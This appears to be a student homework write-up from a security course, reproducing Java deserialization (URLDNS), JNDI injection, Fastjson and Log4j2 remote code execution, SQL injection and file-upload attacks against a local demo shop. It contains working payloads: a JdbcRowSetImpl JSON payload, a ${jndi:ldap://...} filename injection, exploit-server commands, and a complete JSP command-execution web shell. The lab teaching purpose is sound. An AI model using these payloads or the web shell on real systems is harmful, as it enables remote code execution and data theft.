C11期作业23(08.30)

目录

一、分析研究java反序列化漏洞原理并详细分析URLDNS链触发过程

java反序列化漏洞原理

原理

代码示例

代码执行结果​

分析URLDNS链触发过程

演示:使⽤ysoserial⽣成URLDNS链

下载ysoserial的jar包:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6​

通过dnslog平台(如https://dnslog.org/)生成测试子域名​

使⽤ysoserial⽣成URLDNS链​

执行上述java反序列化的步骤二​

查询子域名请求结果:有被代码请求​

分析URLDNS链触发过程

关键代码:可在此四处打断点。调试代码发现会执行到这些地方​

代码分析

二、JNDI注入漏洞原理分析复习

代码演示

下载工具:https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/tag/2.5​

示例代码

执行工具命令(jdk版本:jdk1.8.0_291)

运行代码:执行了命令​

原理分析

⽬标代码中调⽤了InitialContext.lookup(URI),且URI为⽤户可控

攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server/name

攻击者RMI服务器向⽬标返回⼀个Reference对象,Reference对象中指定某个精⼼构造的Factory类

⽬标在进⾏lookup()操作时,会先查找本地是否存在,不存在的话则根据Reference对象信息动态加载并实例化Factory类,接着调⽤factory对象的getObjectInstance()⽅法获取外部远程对象实例

攻击者可以在Factory类⽂件的构造⽅法、静态代码块、getObjectInstance()⽅法等处写⼊恶意代码,达到RCE的效果

[三、Fastjson 反序列化漏洞复习](#三、Fastjson 反序列化漏洞复习)

代码示例

pom增加依赖

Student类

FastJsonJNDI类

代码执行

执行工具命令(同题目二)

运行代码​

原理说明

[fastjson在解析json对象时,会默认使⽤ @type 实例化某⼀个具体的类,并调⽤set/get⽅法访问属性](#fastjson在解析json对象时,会默认使⽤ @type 实例化某⼀个具体的类,并调⽤set/get⽅法访问属性)

断点调试com.sun.rowset.JdbcRowSetImpl

setAutoCommit⽅法,调⽤了this.connect()​

this.connect()⽅法,调⽤了InitialContext的lookup()方法,触发jdni注入​

[四、log4j2 jndi注入漏洞复习](#四、log4j2 jndi注入漏洞复习)

代码示例

pom增加依赖

Log4j2JNDI类

代码执行

执行工具命令(同题目二)

运行代码​

原理说明:如下代码处打断点,可知会调用到loopup方法,触发jndi注入

MessagePatternConverter​

StrSubstitutor​

五、搭建迷你天猫商城并复现fastjson、log4j2组件漏洞和sql注入和文件上传漏洞

搭建迷你天猫商城

下载源码

解压,使用idea打开,等待maven依赖加载完成

数据库

执行sql文件创建数据库表:Tmall_demo-master\sqls\tmalldemodb.sql​

[如果mysql 版本的>5.7,需在my.ini的mysqld下增加如下配置并重启mysql,否则登陆后台可能会报错](#如果mysql 版本的>5.7,需在my.ini的mysqld下增加如下配置并重启mysql,否则登陆后台可能会报错)

启动项目​

访问站点

前台:http://localhost:8080/tmall/​

[后台:http://localhost:8080/tmall/admin,账号密码为 admin 123456​](#后台:http://localhost:8080/tmall/admin,账号密码为 admin 123456)

复现漏洞

说明

为复现漏洞,将fastjson版本更改为1.2.24,log4j版本更改为2.14.1​

重新加载maven项目

启动配置中增加此配置,重启项目

使用ip替换localhost访问网站,因burp抓不到localhost的包

执行工具命令(同题目二,执行过则无需执行)

fastjson

查找漏洞利用代码:找到前台一处使用(url路径为orderItem)​

使用burp抓包:访问页面,购物车页面提交订单,目标包出现​

将包发到Repeater,更改orderItemMap的内容为

重新发包,弹出计算器​

log4j2

查找漏洞利用代码(参数可控,且为字符串),为上传头像的处理​

进入个人中心页,上传头像,burp中找到相应包​

将包发到repeater,修改filename为如下内容,重新发送,弹出计算器

sql注入

查找漏洞利用代码:从dao层找到controller层(orderBy参数可控制才可以)

打开相关url的页面​

使用sqlmap扫描此url,爆库成功

文件上传

查找漏洞利用代码:发现更换用户头像处没有验证文件扩展名​

编写jsp一句话文件,命名为demo.jpg

进入个人中心,上传demo.jpg

burp中找到相关数据包,发送到repeater,更改filename为demo.jsp,上传jsp文件成功​

访问此jsp文件,执行命令成功


一、分析研究java反序列化漏洞原理并详细分析URLDNS链触发过程

java反序列化漏洞原理
复制代码
  ###### 原理

  1. 在Java中,序列化/反序列化操作主要由java.io.ObjectOutputStream.writeObject(Object) ⽅法和  
     java.io.ObjectInputStream.readObject()⽅法实现
  2. 可通过实现Serializable接口并重写readObject()⽅法对⾃定义类对象进⾏反序列化,以完成更多操作
复制代码
  ###### 代码示例

  ```java
  package com.demo.hello;

  import java.io.Serializable;
  import java.io.*;

  public class TestSer {
      public static void main(String[] args) throws IOException, ClassNotFoundException {
          // 步骤一:将序列化内容写⼊⽂件
          Test test = new Test("calc.exe");
          FileOutputStream fos = new FileOutputStream("data.ser");
          ObjectOutputStream oos = new ObjectOutputStream(fos);
          oos.writeObject(test);
          oos.close();
          fos.close();

          // 步骤二:从⽂件中读取并反序列化
          FileInputStream fio = new FileInputStream("data.ser");
          ObjectInputStream ois = new ObjectInputStream(fio);
          Test bbbb = (Test)ois.readObject();
          ois.close();
          fio.close();
          System.out.println(bbbb);
      }
  }

  class Test implements Serializable {
      private String cmd;
      public Test(String cmd) {
          this.cmd = cmd;
      }
      public String getCmd() {
          return cmd;
      }
      public void setCmd(String cmd) {
          this.cmd = cmd;
      }
      //重写readObject()⽅法
      private void readObject(java.io.ObjectInputStream in) throws Exception
      {
          in.defaultReadObject();
          System.out.println("当前命令是:"+cmd);
          java.lang.Runtime.getRuntime().exec(cmd);//触发代码执⾏,模拟调⽤链
      }
  }
  ```
复制代码
  ###### 代码执行结果![](https://i-blog.csdnimg.cn/direct/fe48923d8daf4befad91920b23b5deb3.png)
分析URLDNS链触发过程
复制代码
  ###### 演示:使⽤ysoserial⽣成URLDNS链

  1.

     ###### 下载ysoserial的jar包:[https://github.com/frohoff/ysoserial/releases/tag/v0.0.6](https://github.com/frohoff/ysoserial/releases/tag/v0.0.6 "https://github.com/frohoff/ysoserial/releases/tag/v0.0.6")![](https://i-blog.csdnimg.cn/direct/0b2b0dcb0a1f4a3eb50ad8b472289e0e.png)

  2.

     ###### 通过dnslog平台(如[https://dnslog.org/](https://dnslog.org/ "https://dnslog.org/"))生成测试子域名![](https://i-blog.csdnimg.cn/direct/a80c3b2144724d89b7f58a50279d0bf6.png)

  3.

     ###### 使⽤ysoserial⽣成URLDNS链![](https://i-blog.csdnimg.cn/direct/27491bc3749c4104a891601b42377124.png)

  4.

     ###### 执行上述java反序列化的步骤二![](https://i-blog.csdnimg.cn/direct/af831eb3e7a046c59e555e1a87eb09fa.png)

  5.

     ###### 查询子域名请求结果:有被代码请求![](https://i-blog.csdnimg.cn/direct/d6623a0857574f9e9880ee99b9355b36.png)
复制代码
  ###### 分析URLDNS链触发过程

  1.

     ###### 关键代码:可在此四处打断点。调试代码发现会执行到这些地方![](https://i-blog.csdnimg.cn/direct/a7232d459dc54de3b33155cc1cd91e57.png)![](https://i-blog.csdnimg.cn/direct/89b9df8931ae48388896abc0f5c52056.png)![](https://i-blog.csdnimg.cn/direct/d48663ee87aa4d418c60d750d60ecbcd.png)![](https://i-blog.csdnimg.cn/direct/194db3462fe749b39d697a42bcac4472.png)

  2.

     ###### 代码分析

     1. hashmap 的put⽅法:会调⽤hash⽅法,然后调用hashcode方法
     2. hashcode⽅法:如果hashcode值不为-1,则直接返回,当为-1时,进⼊类对象的Handler⽅法
     3. Handler⽅法:调⽤了getHostAddress,此方法会发起dns请求

二、JNDI注入漏洞原理分析复习

代码演示
复制代码
  ###### 下载工具:[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/tag/2.5](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/tag/2.5 "https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/tag/2.5")![](https://i-blog.csdnimg.cn/direct/93b29c598c0c4646b1cf3c204bff0806.png)
复制代码
  ###### 示例代码

  ```java
  package org.example;

  import javax.naming.InitialContext;
  import javax.naming.NamingException;

  public class Client {
      public static void main(String[] args) throws NamingException {
          //解除⾼版本jdk安全限制
          System.setProperty("java.rmi.server.useCodebaseOnly", "false");
          System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
          System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

          String uri = "rmi://127.0.0.1:1099/remoteExploit8";
          //String uri = "ldap://127.0.0.1:1389/remoteExploit8";
          InitialContext ctx = new InitialContext();
          //当uri可控,就会造成jndi注⼊漏洞
          ctx.lookup(uri);
      }
  }
  ```
复制代码
  ###### 执行工具命令(jdk版本:jdk1.8.0_291)

  ```java
  java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -A 127.0.0.1 -C calc
  ```

  ###### ![](https://i-blog.csdnimg.cn/direct/4c81f05ce74444b5adf7e64c60ada55b.png)
复制代码
  ###### 运行代码:执行了命令![](https://i-blog.csdnimg.cn/direct/be91b96b3f4e48b69eddc6edb7c74048.png)
原理分析
复制代码
  ###### ⽬标代码中调⽤了InitialContext.lookup(URI),且URI为⽤户可控
复制代码
  ###### 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server/name
复制代码
  ###### 攻击者RMI服务器向⽬标返回⼀个Reference对象,Reference对象中指定某个精⼼构造的Factory类
复制代码
  ###### ⽬标在进⾏lookup()操作时,会先查找本地是否存在,不存在的话则根据Reference对象信息动态加载并实例化Factory类,接着调⽤factory对象的getObjectInstance()⽅法获取外部远程对象实例
复制代码
  ###### 攻击者可以在Factory类⽂件的构造⽅法、静态代码块、getObjectInstance()⽅法等处写⼊恶意代码,达到RCE的效果

三、Fastjson 反序列化漏洞复习

代码示例
复制代码
  ###### pom增加依赖

  ```java
          <dependency>
              <groupId>com.alibaba</groupId>
              <artifactId>fastjson</artifactId>
              <version>1.2.24</version>
          </dependency>
  ```
复制代码
  ###### Student类

  ```java
  package org.example;

  public class Student {
      private int age;
      private String name;
      public Student(){
      };
      public Student(String name,int age){
          this.name=name;
          this.age=age;
      }
      public int getAge() {
          System.out.println("调⽤了getAge");
          return age;
      }
      public void setAge(int age) {
          System.out.println("调⽤了setAge");
          this.age = age;
      }
      public String getName() {
          System.out.println("调⽤了getName");
          return name;
      }
      public void setName(String name) {
          System.out.println("调⽤了setName");
          this.name = name;
      }
      @Override
      public String toString(){
          return "{\"name\":\""+name+'\"'+",\"age\":"+age+'}';
      }
  }
  ```
复制代码
  ###### FastJsonJNDI类

  ```java
  package org.example;

  import com.alibaba.fastjson.JSON;

  public class FastJsonJNDI {
      public static void main(String[] args) {
  /*        // 序列化
          Student student = new Student("Christ1na",20);
          String s1 = JSON.toJSONString(student);
          */

          // 反序列化
          String s= "{\"@type\":\"org.example.Student\",\"age\":20,\"name\":\"Christ1na\"}";
          Object parse = JSON.parse(s);
          System.out.println(parse);
          System.out.println(parse.getClass().getName());

          //解除⾼版本jdk安全限制
          System.setProperty("java.rmi.server.useCodebaseOnly", "false");
          System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
          System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

          // JNDI漏洞
          String jndi = "{\n" +
                  "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                  "\"dataSourceName\":\"ldap://127.0.0.1:1389/remoteExploit8\",\n" +
                  "\"autoCommit\":true\n" +
                  "}";
          JSON.parse(jndi);

      }
  }
  ```
代码执行
复制代码
  ###### 执行工具命令(同题目二)

  ```java
  java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -A 127.0.0.1 -C calc
  ```
复制代码
  ###### 运行代码![](https://i-blog.csdnimg.cn/direct/1d63b6d0b7434266b72ae4005dc12236.png)
原理说明
复制代码
  ###### fastjson在解析json对象时,会默认使⽤ @type 实例化某⼀个具体的类,并调⽤set/get⽅法访问属性
复制代码
  ###### 断点调试com.sun.rowset.JdbcRowSetImpl

  1.

     ###### setAutoCommit⽅法,调⽤了this.connect()![](https://i-blog.csdnimg.cn/direct/5abc5c24e491460db1085e8afb29192e.png)

  2.

     ###### this.connect()⽅法,调⽤了InitialContext的lookup()方法,触发jdni注入![](https://i-blog.csdnimg.cn/direct/f078c1cb9bf344029cb1df7fed746804.png)

四、log4j2 jndi注入漏洞复习

代码示例
复制代码
  ###### pom增加依赖

  ```java
          <dependency>
              <groupId>org.apache.logging.log4j</groupId>
              <artifactId>log4j-core</artifactId>
              <version>2.14.1</version>
          </dependency>
  ```
复制代码
  ###### Log4j2JNDI类

  ```java
  package org.example;

  import org.apache.logging.log4j.LogManager;
  import org.apache.logging.log4j.Logger;

  public class Log4j2JNDI {
      private static final Logger log = LogManager.getLogger();

      public static void main(String[] args) {
          //解除⾼版本jdk安全限制
          System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

          log.error("${jndi:ldap://127.0.0.1:1389/remoteExploit8}");
      }
  }
  ```
代码执行
复制代码
  ###### 执行工具命令(同题目二)

  ```java
  java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -A 127.0.0.1 -C calc
  ```
复制代码
  ###### 运行代码![](https://i-blog.csdnimg.cn/direct/4c80144e21d4454da709faf0aa18f272.png)
原理说明:如下代码处打断点,可知会调用到loopup方法,触发jndi注入
复制代码
  ###### MessagePatternConverter![](https://i-blog.csdnimg.cn/direct/4ab86881338a444b8f645ea01034d369.png)
复制代码
  ###### StrSubstitutor![](https://i-blog.csdnimg.cn/direct/c8e9de1b951e4978b91b20cced6f891e.png)![](https://i-blog.csdnimg.cn/direct/a471b72ac8b34682bc2766472cb41405.png)

五、搭建迷你天猫商城并复现fastjson、log4j2组件漏洞和sql注入和文件上传漏洞

搭建迷你天猫商城
复制代码
  ###### 下载源码

  ```java
  https://gitee.com/project_team/Tmall_demo/repository/archive/master.zip
  ```
复制代码
  ###### 解压,使用idea打开,等待maven依赖加载完成
复制代码
  ###### 数据库

  1.

     ###### 执行sql文件创建数据库表:Tmall_demo-master\\sqls\\tmalldemodb.sql![](https://i-blog.csdnimg.cn/direct/a546f58a0fe04f4e8ff7ec38d5ab4bd8.png)

  2.

     ###### 如果mysql 版本的\>5.7,需在my.ini的mysqld下增加如下配置并重启mysql,否则登陆后台可能会报错

     ```java
     sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION
     ```
复制代码
  ###### 启动项目![](https://i-blog.csdnimg.cn/direct/b69e0fec912f4378afdf0dfbab52ec0f.png)
复制代码
  ###### 访问站点

  1.

     ###### 前台:[http://localhost:8080/tmall/](http://localhost:8080/tmall/ "http://localhost:8080/tmall/")![](https://i-blog.csdnimg.cn/direct/0a430349b49c4c65b1ccb762c98248ae.png)

  2.

     ###### 后台:[http://localhost:8080/tmall/admin](http://localhost:8080/tmall/admin "http://localhost:8080/tmall/admin"),账号密码为 admin 123456![](https://i-blog.csdnimg.cn/direct/f0673347d81243d6b29b3b6d2fbd0fac.png)![](https://i-blog.csdnimg.cn/direct/d62caa38242e4645acf2a6151963d10a.png)
复现漏洞
复制代码
  ###### 说明

  1.

     ###### 为复现漏洞,将fastjson版本更改为1.2.24,log4j版本更改为2.14.1![](https://i-blog.csdnimg.cn/direct/02dcae3a5615429d82e6b764220714a0.png)![](https://i-blog.csdnimg.cn/direct/a66e743a512e4ac7b90622dc9d71ec63.png)

  2.

     ###### 重新加载maven项目

  3.

     ###### 启动配置中增加此配置,重启项目

     ```java
     com.sun.jndi.ldap.object.trustURLCodebase
     ```

     ![](https://i-blog.csdnimg.cn/direct/75525a7b48a74937a8331cdb3e7c7e32.png)
  4.

     ###### 使用ip替换localhost访问网站,因burp抓不到localhost的包

  5.

     ###### 执行工具命令(同题目二,执行过则无需执行)

     ```java
     java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -A 127.0.0.1 -C calc
     ```
复制代码
  ###### fastjson

  1.

     ###### 查找漏洞利用代码:找到前台一处使用(url路径为orderItem)![](https://i-blog.csdnimg.cn/direct/cd191cbc786b419e815afcb168d05474.png)

  2.

     ###### 使用burp抓包:访问页面,购物车页面提交订单,目标包出现![](https://i-blog.csdnimg.cn/direct/7f6eec9155d04654acd1d631510d0f75.png)

  3.

     ###### 将包发到Repeater,更改orderItemMap的内容为

         {
         "@type":"com.sun.rowset.JdbcRowSetImpl",
         "dataSourceName":"ldap://127.0.0.1:1389/remoteExploit8",
         "autoCommit":true
         }

  4.

     ###### 重新发包,弹出计算器![](https://i-blog.csdnimg.cn/direct/1b2f62f12b874582b071bad6cdc2cb52.png)
复制代码
  ###### log4j2

  1.

     ###### 查找漏洞利用代码(参数可控,且为字符串),为上传头像的处理![](https://i-blog.csdnimg.cn/direct/4eaa6edfc00e4d4fa684d643787d140f.png)

  2.

     ###### 进入个人中心页,上传头像,burp中找到相应包![](https://i-blog.csdnimg.cn/direct/dca66af874414272a3ca8e765824118c.png)![](https://i-blog.csdnimg.cn/direct/fa211a8c8ec94283b8380d1b71a58060.png)

  3.

     ###### 将包发到repeater,修改filename为如下内容,重新发送,弹出计算器

     ```java
     ${jndi:ldap://127.0.0.1:1389/remoteExploit8}
     ```

     ![](https://i-blog.csdnimg.cn/direct/42b619dfca8c440d95926f133e571b6b.png)
复制代码
  ###### sql注入

  1.

     ###### 查找漏洞利用代码:从dao层找到controller层(orderBy参数可控制才可以)![](https://i-blog.csdnimg.cn/direct/2895649735d8408e8d22dcb7e657ae84.png)![](https://i-blog.csdnimg.cn/direct/adf0af85a0e347e690272197186dbcaf.png)![](https://i-blog.csdnimg.cn/direct/9e2960070a38421dbc1295525b9c2aba.png)![](https://i-blog.csdnimg.cn/direct/ae1bec80f8b1490c812cfcc849f0dca2.png)

  2.

     ###### 打开相关url的页面![](https://i-blog.csdnimg.cn/direct/689a5cea600c42248fc8ebe8970510b5.png)

  3.

     ###### 使用sqlmap扫描此url,爆库成功![](https://i-blog.csdnimg.cn/direct/48304f6940b8428db963626d451a619a.png)![](https://i-blog.csdnimg.cn/direct/ac983ba14c274a889bdab4028d12f232.png)
复制代码
  ###### 文件上传

  1.

     ###### 查找漏洞利用代码:发现更换用户头像处没有验证文件扩展名![](https://i-blog.csdnimg.cn/direct/58c4be42d8564193bf7330c0845c7a07.png)

  2.

     ###### 编写jsp一句话文件,命名为demo.jpg

     ```java
     <%@ page import="java.io.*" %>
     <%
         String cmd = request.getParameter("cmd");
         if (cmd != null) {
             Runtime rt = Runtime.getRuntime();
             Process proc = rt.exec(cmd);
             DataInputStream dis = new DataInputStream(proc.getInputStream());
             String disr = dis.readLine();
             while (disr != null) {
                 out.println(disr);
                 disr = dis.readLine();
             }
         }
     %>
     ```

  3.

     ###### 进入个人中心,上传demo.jpg

  4.

     ###### burp中找到相关数据包,发送到repeater,更改filename为demo.jsp,上传jsp文件成功![](https://i-blog.csdnimg.cn/direct/0ed415fcbaf747b8ab92983b9f3268c5.png)

  5.

     ###### 访问此jsp文件,执行命令成功

     ```java
     http://yourIp:8081/tmall/res/images/item/userProfilePicture/yourFileName.jsp?cmd=calc
     ```

     ![](https://i-blog.csdnimg.cn/direct/873bd82897cc4097b92d0ed4ecb1a515.png)
相关推荐
ml魔力信息2 小时前
一枚指纹,开启工业IoT设备安全与权限分级实践
java·物联网·安全
newxtc3 小时前
【湖北政务服务网-注册_登录安全分析报告】
人工智能·selenium·测试工具·安全·政务
Oxo Security3 小时前
【AI安全】提示词注入
人工智能·安全·网络安全·ai
工具人55553 小时前
Linux 抓取 RAM Dump 完整指南
linux·运维·安全
YJlio3 小时前
PsSuspend(7.23):无损挂起与恢复指定进程——精准“冻住”故障现场
笔记·学习·安全
一袋米扛几楼983 小时前
【软件安全】C语言特性 (C Language Characteristics)
java·c语言·安全
初听于你4 小时前
运维高级故障排除与恢复-SysRq
运维·服务器·安全
FreeBuf_5 小时前
现代汽车确认遭遇数据泄露, 攻击者连续窃密9天获取用户驾照信息
安全·web安全·汽车
EkihzniY5 小时前
人证查验一体机:守护医院产房安全
安全